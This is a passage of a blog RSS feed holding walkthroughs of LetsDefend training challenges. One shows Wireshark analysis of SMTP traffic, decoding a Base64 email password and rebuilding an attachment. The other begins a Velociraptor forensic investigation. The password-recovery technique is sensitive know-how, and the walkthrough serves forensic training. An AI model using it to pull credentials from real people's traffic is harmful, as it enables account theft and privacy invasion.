data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/9fc1fc57e0624b2d4acbab4bce568fe6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Packet 116 — following the TCP stream&lt;/p&gt;&#xA;&lt;p&gt;Now we&amp;rsquo;ve got them! This message is much more suggestive, and we can confirm the email address of Ann&amp;rsquo;s boyfriend — the elusive &amp;ldquo;Mister Secret.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;367px&#34; data-flex-grow=&#34;152&#34; height=&#34;523&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/b4169bdaf7210a730a316b6e6e2fa511_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the email of Anne&amp;rsquo;s secret boyfriend&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1627px&#34; data-flex-grow=&#34;677&#34; height=&#34;118&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/0b37a74255ad96b5c1995a129d1afdee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-anns-email-password&#34;&gt;Question 2: What is Ann&amp;rsquo;s email password?&#xA;&lt;/h3&gt;&lt;p&gt;Our next objective to answer &lt;strong&gt;Question 2&lt;/strong&gt; is to determine Ann&amp;rsquo;s email password. &lt;em&gt;SMTP traffic&lt;/em&gt; is transmitted in clear text by default, meaning that the authentication credentials could be visible in the PCAP file.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s find out! To illustrate this, close the TCP stream window and zoom out to the packet view again. Here, we&amp;rsquo;re able to see the complete user authentication flow (&lt;em&gt;packets 120€“128&lt;/em&gt;), including the &lt;code&gt;PASS&lt;/code&gt; field containing the password.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;416px&#34; data-flex-grow=&#34;173&#34; height=&#34;461&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/8d8c4e67917ed94045bd1784f8b0a8a2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the SMTP password field&lt;/p&gt;&#xA;&lt;p&gt;Just one small obstacle: the field appears to be encoded, so the password isn&amp;rsquo;t as it appears here. Remember, &lt;em&gt;encoding is not the same as encryption&lt;/em&gt;, so we should be able to simply decode the &lt;code&gt;PASS&lt;/code&gt; string. To do this, right-click the packet and select &lt;em&gt;Protocol Preferences &amp;gt; Decode Base64 encoded AUTH parameters&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;514px&#34; data-flex-grow=&#34;214&#34; height=&#34;373&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/d775d8fad6ecf27a5384132d9c172b87_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Applying the Base64 decode operation&lt;/p&gt;&#xA;&lt;p&gt;This automatically decodes the password for Ann&amp;rsquo;s email — great find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1627px&#34; data-flex-grow=&#34;677&#34; height=&#34;118&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/62d724e7b0de00b3631672c3f0f8ad9e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Viewing the decoded password&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/5dda5a5cabaa4b321f7194f3ea581f88_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-name-of-the-file-that-ann-sent-to-his-secretlover&#34;&gt;Question 3: What is the name of the file that Ann sent to his secret lover?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, navigate back to the TCP stream window. For this task, we&amp;rsquo;re looking for the name of the file that Ann sent. You might recall from the &lt;em&gt;SMTP&lt;/em&gt; notes on the &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/SMTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Wireshark Wiki&lt;/em&gt;&lt;/a&gt; that:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;SMTP uses MIME_multipart to transfer attachments.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;365px&#34; data-flex-grow=&#34;152&#34; height=&#34;525&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/f88af732b3f4be473334d79d3c4a5c28_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Wireshark: Identifying the attachment filename in the MIME section&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This means that by scrolling down to the &lt;em&gt;MIME contents&lt;/em&gt; section, we can discover the &lt;code&gt;filename&lt;/code&gt; field containing the name of the attachment — &lt;code&gt;secretrendezvous.docx&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/d776121531ab7b0974e02391c537dece_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-in-what-country-will-ann-meet-with-her-secretlover&#34;&gt;Question 4: In what country will Ann meet with her secret lover?&#xA;&lt;/h3&gt;&lt;p&gt;To find the answer to Question 4, turn your attention to the big blob of encoded text following &lt;code&gt;filename=&amp;quot;secretrendezvous.docx&amp;quot;&lt;/code&gt; that we found in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;215px&#34; data-flex-grow=&#34;89&#34; height=&#34;785&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/0c79eb8f1afde06647bef0bbc3609654_MD5.png&#34; width=&#34;704&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: The encoded attachment&lt;/p&gt;&#xA;&lt;p&gt;The encoded content between the filename and the ending boundary &lt;code&gt;--=_NextPart_000_000D_01CA497C.9DEC1E70&lt;/code&gt; is actually the &lt;code&gt;.docx&lt;/code&gt; file attachment. With a little know-how and effort, we can convert this blob into the original, readable file.&lt;/p&gt;&#xA;&lt;p&gt;The first step is to copy the blob to the clipboard and paste it into a text editor like &lt;strong&gt;Mousepad&lt;/strong&gt;, which is built into the &lt;em&gt;LetsDefend VM&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;189px&#34; data-flex-grow=&#34;78&#34; height=&#34;877&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/3bfa2b14f4f43ec1d829c53fe109b0d4_MD5.png&#34; width=&#34;692&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mousepad: Pasting the Base64 blob&lt;/p&gt;&#xA;&lt;p&gt;Once the contents have been pasted into the empty document, go ahead and save it.&lt;/p&gt;&#xA;&lt;p&gt;Next, we&amp;rsquo;ll leverage the &lt;code&gt;base64&lt;/code&gt; command to decode the contents and output them into a new file, &lt;code&gt;secretrendezvous.docx&lt;/code&gt;. Use the command below to watch the magic happen:&lt;/p&gt;&#xA;&lt;p&gt;base64 -d -i secretrendezvous &amp;gt; secretrendezvous.docx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/1250d83771a457425a554ce5f5ec52ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that the encoded contents have been piped to a new &lt;code&gt;.docx&lt;/code&gt; file, go ahead and open it to find a map location for the secret rendezvous!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;290px&#34; data-flex-grow=&#34;121&#34; height=&#34;661&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/b6676671f37267b9a97c1f11a574cb8f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The rendezvous location revealed&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/a49ffef9c30cc1e216cc5619cec19015_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-md5-value-of-the-attachment-annsent&#34;&gt;Question 5: What is the MD5 value of the attachment Ann sent?&#xA;&lt;/h3&gt;&lt;p&gt;To wrap up our investigation and answer &lt;strong&gt;Question 5&lt;/strong&gt;, we simply need to determine the MD5 hash value of the &lt;code&gt;secretrendezvous.docx&lt;/code&gt; attachment that Ann sent.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve already done most of the legwork by reassembling this artifact from the TCP stream, so now we just need to run the &lt;code&gt;md5sum&lt;/code&gt; command from the terminal to grab the hash:&lt;/p&gt;&#xA;&lt;p&gt;md5sum secretrendezvous.docx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;660px&#34; data-flex-grow=&#34;275&#34; height=&#34;266&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/fccf805dd5384693d778cc78a1b73251_MD5.png&#34; width=&#34;732&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Calculating the MD5 hash of the document&lt;/p&gt;&#xA;&lt;p&gt;9e423e11db88f01bbff81172839e1923&lt;/p&gt;&#xA;&lt;p&gt;The resulting output is the MD5 hash value we need to answer the final question. This is a handy thing to have in the real world since it serves as a &lt;em&gt;file-level signature&lt;/em&gt;, and can be used to confirm that the file is identical to the original document, or to pivot into threat intelligence platforms to check if this &lt;em&gt;exact specific file&lt;/em&gt; has been seen before.&lt;/p&gt;&#xA;&lt;p&gt;In this case, the content is innocuous — but still interesting.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/edb5de4ccf8055ca3b304dddef11f535_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;How fun was that! A big shoutout to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for putting out another great challenge.&lt;/p&gt;&#xA;&lt;p&gt;This one was a solid exercise in classic network forensics and gave us the chance to work through a plausible real-world email analysis scenario. From filtering &lt;em&gt;SMTP&lt;/em&gt; traffic in &lt;em&gt;Wireshark&lt;/em&gt;, to decoding &lt;em&gt;Base64&lt;/em&gt;-encoded credentials, and even reconstructing a &lt;code&gt;.docx&lt;/code&gt; file from raw packet data — this challenge packed a lot of practical skills into a focused investigation.&lt;/p&gt;&#xA;&lt;p&gt;I picked this one because I wanted to brush up on &lt;em&gt;SMTP packet analysis&lt;/em&gt; and get some reps in with extracting email-based artifacts, which are still incredibly relevant in phishing investigations and insider threat cases. Each question built naturally on the last, and I&amp;rsquo;m always a fan of a fun narrative to chase during these challenges. All in all — very fun!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for following along and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to give it a clap! Your feedback keeps me going and helps me keep supporting your security journey. Remember, cybersecurity is a team sport — and we&amp;rsquo;re in this together.&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/disclose-the-agent&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/disclose-the-agent&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark Docs — SMTP:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/SMTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://wiki.wireshark.org/SMTP&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Velociraptor Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/</link>
            <pubDate>Sun, 07 Sep 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Velociraptor Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--velociraptor-challenge-walkthrough&#34;&gt;LetsDefend — Velociraptor Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-compromised-web-server-using-velociraptor-wireshark-and-cyber-threat-intelligence&#34;&gt;Investigating a Compromised Web Server Using Velociraptor, Wireshark, and Cyber Threat Intelligence.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/velociraptor&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/velociraptor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/velociraptor&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Velociraptor&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This challenge is a fantastic introduction to collecting and investigating endpoint artifacts — let&amp;rsquo;s check out the scenario below.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your organization recently discovered a potential security incident involving a critical web server. The Security Operations Center (SOC) detected unusual traffic patterns and suspicious activity targeting this server. Initial investigations suggest that the breach may have been caused by a well-known exploit that has not yet been patched. Due to the critical nature of the web server and the sensitivity of the data it handles, immediate action is required to confirm the breach, contain the threat, and mitigate further risks.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You are provided with network traffic and EDR logs to identify how the attacker gained access and what actions they took.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;It sounds like we&amp;rsquo;ve got our work cut out for us to investigate what happened to the web server and how it was compromised. But we&amp;rsquo;re not on our own — we&amp;rsquo;re provided with a rich set of forensic log artifacts generated by &lt;strong&gt;Velociraptor&lt;/strong&gt; that we can use to put the pieces together.&lt;/p&gt;&#xA;&lt;p&gt;To accomplish this, we&amp;rsquo;ll leverage our DFIR knowledge and apply it to investigating the &lt;em&gt;Velociraptor&lt;/em&gt; artifacts. Since this challenge also serves as an introduction to &lt;em&gt;Velociraptor&lt;/em&gt;, we&amp;rsquo;ll lean heavily on the documentation to add context and learn more about how the tool works. After that, we&amp;rsquo;ll dive into &lt;strong&gt;Wireshark&lt;/strong&gt; to analyze the collected network packet data to get further details. Once we&amp;rsquo;ve identified the vulnerability abused by the attacker, we&amp;rsquo;ll pivot to some additional threat research to add further context and tie the whole thing together.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get our hands dirty.&lt;/p&gt;&#xA;&lt;p&gt;If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-client-id-associated-with-the-edrlogs&#34;&gt;Question 1: What is the Client ID associated with the EDR logs?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off our investigation by navigating to the &lt;code&gt;ChallengeFile&lt;/code&gt; directory within the LetsDefend VM. Inside this directory, we&amp;rsquo;re presented with two files: &lt;code&gt;EDR-LOGS&lt;/code&gt; and &lt;code&gt;EDR-LOGS.zip&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;383px&#34; data-flex-grow=&#34;159&#34; height=&#34;501&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/5cd6af6791ff713d5b958ff4d7cddec4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the ChallengeFile folder&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re going to focus on the unzipped file, but before we go too much further, let&amp;rsquo;s get some background on the tool that generated these logs — &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Velociraptor&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; According to the project&amp;rsquo;s documentation, _Velociraptor is &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;an advanced digital forensic and incident response tool that enhances your visibility into your endpoints.&amp;ldquo;Typically, &lt;em&gt;Velociraptor&lt;/em&gt; runs in a client/server configuration where a client agent sends artifacts and data to a &lt;em&gt;Velociraptor&lt;/em&gt; server. From the server, a security analyst can review the collected logs for endpoint monitoring and hunting. Sounds awesome, right? But also well beyond the scope of this challenge.&lt;/p&gt;&#xA;&lt;p&gt;Back in our &lt;code&gt;ChallengeFile&lt;/code&gt; folder, we&amp;rsquo;ll find a series of logs collected by the &lt;em&gt;Velociraptor&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/docs/offline_triage/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;offline collector&lt;/a&gt;, which can be used for artifact collection without the use of a server. This means that we&amp;rsquo;ll be manually investigating artifacts collected by &lt;em&gt;Velociraptor&lt;/em&gt; locally and won&amp;rsquo;t need to open a &lt;em&gt;Velociraptor&lt;/em&gt; server instance.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we need to determine the client ID associated with the &lt;em&gt;Velociraptor&lt;/em&gt; logs. In &lt;em&gt;Velociraptor&lt;/em&gt;, a &lt;code&gt;client_id&lt;/code&gt; is a unique identifier for a specific endpoint, or client. We can locate this information in the &lt;code&gt;client_info&lt;/code&gt; log:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/vql_reference/server/client_info/&#34;  title=&#34;https://docs.velociraptor.app/vql_reference/server/client_info/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;client_info :: Velociraptor - Digging deeper!&lt;/strong&gt;&#xA;_Required permissions: READ_RESULTS Returns client info (like the fqdn) for a specific client from the datastore. You&amp;hellip;_docs.velociraptor.app&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/vql_reference/server/client_info/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In your VM, navigate to the directory below and open the &lt;code&gt;client_info.json&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;433px&#34; data-flex-grow=&#34;180&#34; height=&#34;443&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/63c2b1a4ac0b5d0e996b47c17cff6ca0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the client_info.json file&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/client_info.json&lt;/p&gt;&#xA;&lt;p&gt;Inside, you&amp;rsquo;ll find the &lt;code&gt;client_id&lt;/code&gt; on line 2.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;454px&#34; data-flex-grow=&#34;189&#34; height=&#34;422&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/611c27921ae1017b375c0ed4f421cbc1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2181px&#34; data-flex-grow=&#34;909&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/18888ec6fb8766b2a224e47ac8427088_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-flow-id-of-the-currentlogs&#34;&gt;Question 2: What is the Flow ID of the current logs?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we need to identify the Flow ID of the current logs. &lt;a class=&#34;link&#34; href=&#34;https://docs.velociraptor.app/docs/gui/debugging/client/client_flows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Flows&lt;/em&gt;&lt;/a&gt; are used to track the execution of a collection from &lt;em&gt;Velociraptor&lt;/em&gt; to an endpoint. Each flow represents a specific collection event, and its ID helps analysts correlate artifacts to the collection process.&lt;/p&gt;&#xA;&lt;p&gt;We can find this information in the &lt;code&gt;collection_context.json&lt;/code&gt; log.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;431px&#34; data-flex-grow=&#34;179&#34; height=&#34;445&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/4065124782154af3a9b4ddc9143d37c5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the collection_context.json file&lt;/p&gt;&#xA;&lt;p&gt;/root/Desktop/ChallengeFile/EDR-LOGs/ip-172-31-29-22-C.e70aef07943d3e45/collection_context.json&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;454px&#34; data-flex-grow=&#34;189&#34; height=&#34;422&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-velociraptor-challenge-walkthrough/8cf0fe3c017cfb90e204dd48596101d0_MD5.png&#34; 